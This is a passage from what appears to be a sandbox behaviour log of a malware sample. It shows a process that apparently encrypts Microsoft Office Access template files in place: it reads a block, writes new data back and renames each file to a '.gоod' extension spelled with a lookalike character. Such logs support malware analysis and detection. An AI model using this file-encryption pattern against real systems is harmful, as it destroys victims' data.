"c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\2 top.accdt"), fInfoLevelId=0x0, lpFileInformation=0x200eb4d0 | out: lpFileInformation=0x200eb4d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5bd4f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9a44d771, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x59ec)) returned 1 [0265.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb3b0) returned 1 [0265.180] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Top.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\2 top.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\2 Top.accdt.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\2 top.accdt.gоod")) returned 1 [0265.181] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Comments.accdt", nBufferLength=0x105, lpBuffer=0x200eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Comments.accdt", lpFilePart=0x0) returned 0x50 [0265.181] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb430) returned 1 [0265.181] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Comments.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\comments.accdt"), fInfoLevelId=0x0, lpFileInformation=0x38ef530 | out: lpFileInformation=0x38ef530*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5e373d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5e373d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5e373d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x44d8)) returned 1 [0265.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb3f0) returned 1 [0265.718] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Comments.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Comments.accdt", lpFilePart=0x0) returned 0x50 [0265.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0265.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Comments.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\comments.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0265.744] GetFileType (hFile=0x858) returned 0x1 [0265.745] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0265.745] GetFileType (hFile=0x858) returned 0x1 [0265.745] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200eb488*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200eb488*=0) returned 0x1000 [0265.745] ReadFile (in: hFile=0x858, lpBuffer=0x385c968, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200eb458, lpOverlapped=0x0 | out: lpBuffer=0x385c968*, lpNumberOfBytesRead=0x200eb458*=0x1000, lpOverlapped=0x0) returned 1 [0265.942] CloseHandle (hObject=0x858) returned 1 [0265.942] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Comments.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Comments.accdt", lpFilePart=0x0) returned 0x50 [0265.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0265.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Comments.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\comments.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0265.942] GetFileType (hFile=0x858) returned 0x1 [0265.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0265.942] GetFileType (hFile=0x858) returned 0x1 [0265.942] SetFilePointer (in: hFile=0x858, lDistanceToMove=0, lpDistanceToMoveHigh=0x200eb488*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200eb488*=0) returned 0x44d8 [0265.942] WriteFile (in: hFile=0x858, lpBuffer=0x3949b88*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200eb378, lpOverlapped=0x0 | out: lpBuffer=0x3949b88*, lpNumberOfBytesWritten=0x200eb378*=0x10, lpOverlapped=0x0) returned 1 [0265.974] CloseHandle (hObject=0x858) returned 1 [0265.974] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Comments.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Comments.accdt", lpFilePart=0x0) returned 0x50 [0265.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0265.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Comments.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\comments.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0265.975] GetFileType (hFile=0x858) returned 0x1 [0265.975] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0265.975] GetFileType (hFile=0x858) returned 0x1 [0265.975] ReadFile (in: hFile=0x858, lpBuffer=0x39ccab8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200eb408, lpOverlapped=0x0 | out: lpBuffer=0x39ccab8*, lpNumberOfBytesRead=0x200eb408*=0x1000, lpOverlapped=0x0) returned 1 [0266.051] CloseHandle (hObject=0x858) returned 1 [0266.051] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Comments.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Comments.accdt", lpFilePart=0x0) returned 0x50 [0266.051] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0266.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Comments.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\comments.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0266.051] GetFileType (hFile=0x858) returned 0x1 [0266.051] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0266.051] GetFileType (hFile=0x858) returned 0x1 [0266.052] WriteFile (in: hFile=0x858, lpBuffer=0x39cb7f8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200eb4b8, lpOverlapped=0x0 | out: lpBuffer=0x39cb7f8*, lpNumberOfBytesWritten=0x200eb4b8*=0x1010, lpOverlapped=0x0) returned 1 [0266.052] CloseHandle (hObject=0x858) returned 1 [0266.052] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Comments.accdt", nBufferLength=0x105, lpBuffer=0x200eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Comments.accdt", lpFilePart=0x0) returned 0x50 [0266.052] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Comments.accdt.gоod", nBufferLength=0x105, lpBuffer=0x200eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Comments.accdt.gоod", lpFilePart=0x0) returned 0x55 [0266.052] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb3f0) returned 1 [0266.052] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Comments.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\comments.accdt"), fInfoLevelId=0x0, lpFileInformation=0x200eb4d0 | out: lpFileInformation=0x200eb4d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5e373d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5e373d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9aca5abc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x44e8)) returned 1 [0266.052] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb3b0) returned 1 [0266.052] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Comments.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\comments.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Comments.accdt.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\comments.accdt.gоod")) returned 1 [0266.054] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Contacts.accdt", nBufferLength=0x105, lpBuffer=0x200eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Contacts.accdt", lpFilePart=0x0) returned 0x50 [0266.054] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb430) returned 1 [0266.054] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Contacts.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\contacts.accdt"), fInfoLevelId=0x0, lpFileInformation=0x3ac7370 | out: lpFileInformation=0x3ac7370*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5bd4f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb5e373d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x388e0)) returned 1 [0266.054] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb3f0) returned 1 [0266.054] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Contacts.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Contacts.accdt", lpFilePart=0x0) returned 0x50 [0266.054] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0266.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Contacts.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\contacts.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0266.055] GetFileType (hFile=0x858) returned 0x1 [0266.055] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0266.055] GetFileType (hFile=0x858) returned 0x1 [0266.055] SetFilePointer (in: hFile=0x858, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200eb488*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200eb488*=0) returned 0x1000 [0266.055] ReadFile (in: hFile=0x858, lpBuffer=0x3ac77b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200eb458, lpOverlapped=0x0 | out: lpBuffer=0x3ac77b8*, lpNumberOfBytesRead=0x200eb458*=0x1000, lpOverlapped=0x0) returned 1 [0266.158] CloseHandle (hObject=0x858) returned 1 [0266.449] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Contacts.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Contacts.accdt", lpFilePart=0x0) returned 0x50 [0266.449] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0266.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Contacts.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\contacts.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0266.449] GetFileType (hFile=0x808) returned 0x1 [0266.451] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0266.451] GetFileType (hFile=0x808) returned 0x1 [0266.451] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x200eb488*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200eb488*=0) returned 0x388e0 [0266.451] WriteFile (in: hFile=0x808, lpBuffer=0x38c09c0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200eb378, lpOverlapped=0x0 | out: lpBuffer=0x38c09c0*, lpNumberOfBytesWritten=0x200eb378*=0x10, lpOverlapped=0x0) returned 1 [0266.480] CloseHandle (hObject=0x808) returned 1 [0266.480] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Contacts.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Contacts.accdt", lpFilePart=0x0) returned 0x50 [0266.480] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0266.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Contacts.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\contacts.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0266.480] GetFileType (hFile=0x808) returned 0x1 [0266.480] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0266.480] GetFileType (hFile=0x808) returned 0x1 [0266.480] ReadFile (in: hFile=0x808, lpBuffer=0x3931b18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200eb408, lpOverlapped=0x0 | out: lpBuffer=0x3931b18*, lpNumberOfBytesRead=0x200eb408*=0x1000, lpOverlapped=0x0) returned 1 [0266.509] CloseHandle (hObject=0x808) returned 1 [0266.509] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Contacts.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Contacts.accdt", lpFilePart=0x0) returned 0x50 [0266.509] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0266.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Contacts.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\contacts.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0266.509] GetFileType (hFile=0x808) returned 0x1 [0266.509] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0266.509] GetFileType (hFile=0x808) returned 0x1 [0266.509] WriteFile (in: hFile=0x808, lpBuffer=0x3930858*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200eb4b8, lpOverlapped=0x0 | out: lpBuffer=0x3930858*, lpNumberOfBytesWritten=0x200eb4b8*=0x1010, lpOverlapped=0x0) returned 1 [0266.509] CloseHandle (hObject=0x808) returned 1 [0266.510] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Contacts.accdt", nBufferLength=0x105, lpBuffer=0x200eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Contacts.accdt", lpFilePart=0x0) returned 0x50 [0266.510] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Contacts.accdt.gоod", nBufferLength=0x105, lpBuffer=0x200eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Contacts.accdt.gоod", lpFilePart=0x0) returned 0x55 [0266.510] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb3f0) returned 1 [0266.510] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Contacts.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\contacts.accdt"), fInfoLevelId=0x0, lpFileInformation=0x200eb4d0 | out: lpFileInformation=0x200eb4d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb5bd4f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb5bd4f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9b11e256, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x388f0)) returned 1 [0266.510] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb3b0) returned 1 [0266.511] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Contacts.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\contacts.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Contacts.accdt.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\contacts.accdt.gоod")) returned 1 [0266.512] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Details.accdt", nBufferLength=0x105, lpBuffer=0x200eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Details.accdt", lpFilePart=0x0) returned 0x4f [0266.512] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb430) returned 1 [0266.512] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Details.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\details.accdt"), fInfoLevelId=0x0, lpFileInformation=0x39adf68 | out: lpFileInformation=0x39adf68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb655e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb655e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb655e8b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4a14)) returned 1 [0266.512] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb3f0) returned 1 [0266.513] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Details.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Details.accdt", lpFilePart=0x0) returned 0x4f [0266.513] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0266.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Details.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\details.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0266.514] GetFileType (hFile=0x808) returned 0x1 [0266.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0266.514] GetFileType (hFile=0x808) returned 0x1 [0266.514] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200eb488*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200eb488*=0) returned 0x1000 [0266.514] ReadFile (in: hFile=0x808, lpBuffer=0x39ae3a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200eb458, lpOverlapped=0x0 | out: lpBuffer=0x39ae3a0*, lpNumberOfBytesRead=0x200eb458*=0x1000, lpOverlapped=0x0) returned 1 [0266.630] CloseHandle (hObject=0x808) returned 1 [0267.730] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Details.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Details.accdt", lpFilePart=0x0) returned 0x4f [0267.730] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0267.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Details.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\details.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0267.761] GetFileType (hFile=0x8a8) returned 0x1 [0267.765] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0267.765] GetFileType (hFile=0x8a8) returned 0x1 [0267.765] SetFilePointer (in: hFile=0x8a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x200eb488*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200eb488*=0) returned 0x4a14 [0267.765] WriteFile (in: hFile=0x8a8, lpBuffer=0x3c21a60*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200eb378, lpOverlapped=0x0 | out: lpBuffer=0x3c21a60*, lpNumberOfBytesWritten=0x200eb378*=0x10, lpOverlapped=0x0) returned 1 [0267.766] CloseHandle (hObject=0x8a8) returned 1 [0267.766] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Details.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Details.accdt", lpFilePart=0x0) returned 0x4f [0267.766] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0267.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Details.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\details.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0267.766] GetFileType (hFile=0x8a8) returned 0x1 [0267.766] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0267.766] GetFileType (hFile=0x8a8) returned 0x1 [0267.767] ReadFile (in: hFile=0x8a8, lpBuffer=0x3c23d30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200eb408, lpOverlapped=0x0 | out: lpBuffer=0x3c23d30*, lpNumberOfBytesRead=0x200eb408*=0x1000, lpOverlapped=0x0) returned 1 [0268.567] CloseHandle (hObject=0x8a8) returned 1 [0268.567] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Details.accdt", nBufferLength=0x105, lpBuffer=0x200eae10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Details.accdt", lpFilePart=0x0) returned 0x4f [0268.567] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb330) returned 1 [0268.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Details.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\details.accdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a8 [0268.568] GetFileType (hFile=0x8a8) returned 0x1 [0268.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb2a0) returned 1 [0268.568] GetFileType (hFile=0x8a8) returned 0x1 [0268.568] WriteFile (in: hFile=0x8a8, lpBuffer=0x38d14a8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200eb4b8, lpOverlapped=0x0 | out: lpBuffer=0x38d14a8*, lpNumberOfBytesWritten=0x200eb4b8*=0x1010, lpOverlapped=0x0) returned 1 [0268.568] CloseHandle (hObject=0x8a8) returned 1 [0268.568] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Details.accdt", nBufferLength=0x105, lpBuffer=0x200eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Details.accdt", lpFilePart=0x0) returned 0x4f [0268.568] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Details.accdt.gоod", nBufferLength=0x105, lpBuffer=0x200eaf60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Details.accdt.gоod", lpFilePart=0x0) returned 0x54 [0268.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200eb3f0) returned 1 [0268.568] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Details.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\details.accdt"), fInfoLevelId=0x0, lpFileInformation=0x200eb4d0 | out: lpFileInformation=0x200eb4d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb655e8b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb655e8b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9c4a34f8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4a24)) returned 1 [0268.568] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200eb3b0) returned 1 [0268.568] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Details.accdt" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\access\\part\\details.accdt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\Access\\Part\\Details.accdt.gоod" (normalized: 